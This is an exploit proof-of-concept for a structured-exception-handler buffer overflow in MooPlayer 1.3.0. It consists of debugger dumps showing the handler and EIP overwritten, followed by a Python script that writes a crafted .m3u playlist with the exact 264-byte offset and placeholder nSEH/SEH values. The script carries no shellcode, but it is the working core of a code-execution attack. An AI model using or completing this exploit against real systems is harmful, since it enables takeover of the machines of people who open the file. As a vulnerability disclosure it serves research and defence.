MooPlayer 1.3.0 – ‘m3u’ Buffer Overflow (SEH) (PoC)
#!/usr/bin/env python ########################################################################################## # Exploit Title: MooPlayer 1.3.0 'm3u' SEH Buffer Overflow POC # Date Discovered: 09-02-2015 # Exploit Author: Samandeep Singh ( SaMaN - @samanL33T ) # Vulnerable Software: Moo player 1.3.0 # Software Link: https://mooplayer.jaleco.com/ # Vendor site: https://mooplayer.jaleco.com/ # Version: 1.3.0 # Tested On: Windows XP SP3, Win 7 x86. ########################################################################################## # -----------------------------------NOTES----------------------------------------------# ########################################################################################## # After the execution of POC, the SEH chain looks like this: # 01DDF92C ntdll.76FF71CD # 01DDFF5C 43434343 # 42424242 *** CORRUPT ENTRY *** # And the Stack # 01DDFF44 41414141 AAAA # 01DDFF48 41414141 AAAA # 01DDFF4C 41414141 AAAA # 01DDFF50 41414141 AAAA # 01DDFF54 41414141 AAAA # 01DDFF58 41414141 AAAA # 01DDFF5C 42424242 BBBB Pointer to next SEH record # 01DDFF60 43434343 CCCC SE handler # 01DDFF64 00000000 .... # 01DDFF68 44444444 DDDD # 01DDFF6C 44444444 DDDD # 01DDFF70 44444444 DDDD # And the Registers # EAX 00000000 # ECX 43434343 # EDX 76FF71CD ntdll.76FF71CD # EBX 00000000 # ESP 01DDF918 # EBP 01DDF938 # ESI 00000000 # EDI 00000000 # EIP 43434343 head="http://" buffer=10000 junk="\x41" * 264 nseh = "\x42" * 4 seh = "\x43" * 4 poc = head + junk + nseh + seh junk1 = "\x44"*(buffer-len(poc)) poc += junk1 file = "mooplay_poc.m3u" f=open(file,"w") f.write(head + poc); f.close(); #SaMaN(@samanL33T) |